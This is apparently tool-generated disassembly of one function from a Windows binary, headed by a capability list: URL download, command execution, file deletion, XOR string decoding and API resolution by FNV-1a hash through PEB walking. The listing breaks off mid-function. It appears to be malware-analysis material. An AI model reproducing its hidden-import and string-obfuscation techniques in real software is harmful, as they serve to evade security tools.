Function at 0x140010900
Capabilities:
Access peb ldr_data
Delete file
Download url
Encode data using xor
Execute command
Generate random numbers using a mersenne twister
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Receive data
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1630]
mov eax, 0x1730
call fcn.140077250
sub rsp, rax
movaps xmmword [rsp + 0x1720], xmm6
mov rax, qword [0x1400fcdc0]
xor rax, rsp
mov qword [rbp + 0x1610], rax
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400109e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400109e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400109e1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400109c0
cmp r8d, 0xbc0e3315
je 0x1400109eb
test r9d, r9d
jne 0x1400109a0
mov rcx, qword [rcx]
jmp 0x140010970
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 5
mov rcx, rsi
call r8
lea rdx, [0x14000c740]
lea rcx, [rbp + 0x270]
call fcn.140002830
nop
lea rdx, [0x14000c5f0]
lea rcx, [rbp - 0x30]
call fcn.140002830
cmp dword [0x1400fd8e8], 0
jne 0x14001480e
xorps xmm1, xmm1
movups xmm0, xmmword [rax]
movups xmmword [rax], xmm1
movups xmmword [0x1400fd8e0], xmm0
cmp dword [rbp - 0x28], 0
jne 0x14001480e
lea rcx, [0x1400fd9a0]
call fcn.140021370
mov eax, dword [0x14007ba68]
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140010af6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140010af6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140010af1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140010ad0
cmp r8d, 0x491e0a9c
je 0x140010afb
test r9d, r9d
jne 0x140010ab0
mov rax, qword [rax]
jmp 0x140010a80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x140010ba8
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsp + 0x30]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140010be3
lea r9, [rsp + 0x30]
mov r8d, r14d
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140010bb0
lea rcx, [rsp + 0x30]
call r11
movsd xmm0, qword [0x14007ba70]
movsd qword [rbp - 0x78], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x70], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140010c96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140010c96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140010c91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140010c70
cmp r8d, 0xe76fb4aa
je 0x140010c9b
test r9d, r9d
jne 0x140010c50
mov rax, qword [rax]
jmp 0x140010c20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x78], 0xa
xor byte [rbp - 0x77], 0x35
xor byte [rbp - 0x76], 0x36
xor byte [rbp - 0x75], 0x37
xor byte [rbp - 0x74], 0x38
xor byte [rbp - 0x73], 0x39
xor byte [rbp - 0x72], 0x3a
xor byte [rbp - 0x71], 0x3b
xor byte [rbp - 0x70], 0x3c
lea rcx, [rbp - 0x78]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, [0x14007bce0]
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x220]
call fcn.14000d6c0
nop
lea rcx, [rbp + 0x220]
call fcn.140004630
mov edi, r14d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1604], 0xffffffff
mov dword [rbp + 0x284], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x284], eax
inc rdx
cmp rdx, 0x270
jb 0x140010d50
mov dword [rbp + 0x280], 0x270
lea rax, [rbp + 0x280]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.140005aa0
mov ecx, eax
imul rbx, rcx, 0x1389
cmp ebx, 0xd92
ja 0x140010dbe
lea rcx, [rsp + 0x30]
call fcn.140005aa0
mov ecx, eax
imul rbx, rcx, 0x1389
cmp ebx, 0xd93
jb 0x140010da3
shr rbx, 0x20
add ebx, 0x1388
movabs rsi, 0x7fffffffca5b16ff
mov r13d, 0xff
movabs r12, 0x7fffffffffffffff
lea rcx, [rbp - 0x10]
call fcn.14000ac10
mov rax, qword [rbp - 0x10]
cmp rax, rsi
je 0x140010e0e
mov ecx, 1
cmovl ecx, r13d
test cl, cl
jns 0x140010e0e
add rax, 0x35a4e900
mov qword [rsp + 0x30], rax
jmp 0x140010e13
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x30]
call fcn.140003a40
movzx eax, word [0x14007ba7c]
mov word [rsp + 0x30], ax
cmp byte [0x14007ba7d], 0
je 0x140010e3c
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x31], 0x35
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e80
lea rdx, [0x140003a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x140010e72
test ebx, ebx
jg 0x140010de2
lea rdx, [0x1400039e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r14d
test ebx, ebx
jg 0x140010de2
mov eax, dword [0x14007ba80]
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140010f26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140010f26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140010f21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140010f00
cmp r8d, 0x491e0a9c
je 0x140010f2b
test r9d, r9d
jne 0x140010ee0
mov rax, qword [rax]
jmp 0x140010eb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140010fd1
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsp + 0x30]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140011013
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140010fe0
lea rcx, [rsp + 0x30]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400110a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400110a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400110a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011080
cmp r8d, 0x2fa62ca8
je 0x1400110ab
test r9d, r9d
jne 0x140011060
mov rax, qword [rax]
jmp 0x140011030
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
movsd xmm0, qword [0x14007ba88]
movsd qword [rbp - 0x50], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x48], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140011176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140011176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140011171
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011150
cmp r8d, 0xe76fb4aa
je 0x14001117b
test r9d, r9d
jne 0x140011130
mov rax, qword [rax]
jmp 0x140011100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x35
xor byte [rbp - 0x4e], 0x36
xor byte [rbp - 0x4d], 0x37
xor byte [rbp - 0x4c], 0x38
xor byte [rbp - 0x4b], 0x39
xor byte [rbp - 0x4a], 0x3a
xor byte [rbp - 0x49], 0x3b
xor byte [rbp - 0x48], 0x3c
add rax, r10
lea rcx, [rbp - 0x50]
call rax
mov eax, dword [0x14007ba94]
mov dword [rbp - 0x58], eax
movzx ecx, word [0x14007ba98]
mov word [rbp - 0x54], cx
movzx eax, byte [0x14007ba9a]
mov byte [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x57], 0x35
xor byte [rbp - 0x56], 0x36
xor byte [rbp - 0x55], 0x37
xor cl, 0x38
mov byte [rbp - 0x54], cl
xor byte [rbp - 0x53], 0x39
xor al, 0x3a
mov byte [rbp - 0x52], al
lea rdx, [rbp - 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e80
lea rdx, [0x140003a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400112a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400112a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400112a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011280
cmp r8d, 0x2fa62ca8
je 0x1400112ab
test r9d, r9d
jne 0x140011260
mov rax, qword [rax]
jmp 0x140011230
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x190
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140011356
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140011356
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140011351
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011330
cmp r8d, 0x491e0a9c
je 0x14001135b
test r9d, r9d
jne 0x140011310
mov rax, qword [rax]
jmp 0x1400112e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x14007bcf8]
call rdx
lea rcx, [0x1400fd9a0]
call fcn.14001df80
lea rcx, [0x1400fd9a0]
call fcn.14001df80
test al, al
je 0x140011706
movsd xmm0, qword [0x14007baa0]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x68], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140011446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140011446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140011441
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011420
cmp r8d, 0xe76fb4aa
je 0x14001144b
test r9d, r9d
jne 0x140011400
mov rax, qword [rax]
jmp 0x1400113d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x60], 0xa
xor byte [rsp + 0x61], 0x35
xor byte [rsp + 0x62], 0x36
xor byte [rsp + 0x63], 0x37
xor byte [rsp + 0x64], 0x38
xor byte [rsp + 0x65], 0x39
xor byte [rsp + 0x66], 0x3a
xor byte [rsp + 0x67], 0x3b
xor byte [rsp + 0x68], 0x3c
lea rcx, [rsp + 0x60]
call rdx
movups xmm0, xmmword [0x14007bab0]
movups xmmword [rbp - 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140011633
cmp r15d, 2
jl 0x1400115f7
movdqa xmm5, xmmword [0x14007bdf0]
mov edx, r14d
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x4c]
mov r8d, dword [rsp + 0x60]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400114f0
jmp 0x140011633
lea r9, [rbp - 0x50]
mov r8d, r14d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140011600
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e80
lea rdx, [0x140003a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400116e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400116e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400116e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400116c0
cmp r8d, 0xcded1a85
je 0x1400116eb
test r9d, r9d
jne 0x1400116a0
mov rax, qword [rax]
jmp 0x140011670
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call fcn.140005840
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x110]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14007bac0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14007bad0]
movsd qword [rbp - 0x40], xmm0
movzx eax, byte [0x14007bad8]
mov byte [rbp - 0x38], al
mov r8d, r14d
cmp r15d, 2
jl 0x14001188d
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011780
cmp r8d, 0x19
jge 0x1400118d3
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400118a0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x110]
call fcn.140003e30
nop
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140011fc5
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
mov r8d, Ordinal_26
lea rdx, str.dsieeyeasdeydsdashin.txt
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rcx, [rbp]
call fcn.140003e30
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx ebx, al
lea rcx, [rbp]
call fcn.140005200
nop
lea rcx, [rbp + 0x220]
call fcn.140004630
test bl, bl
je 0x1400127ca
movsd xmm0, qword [0x14007bae0]
movsd qword [rsp + 0x38], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x40], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
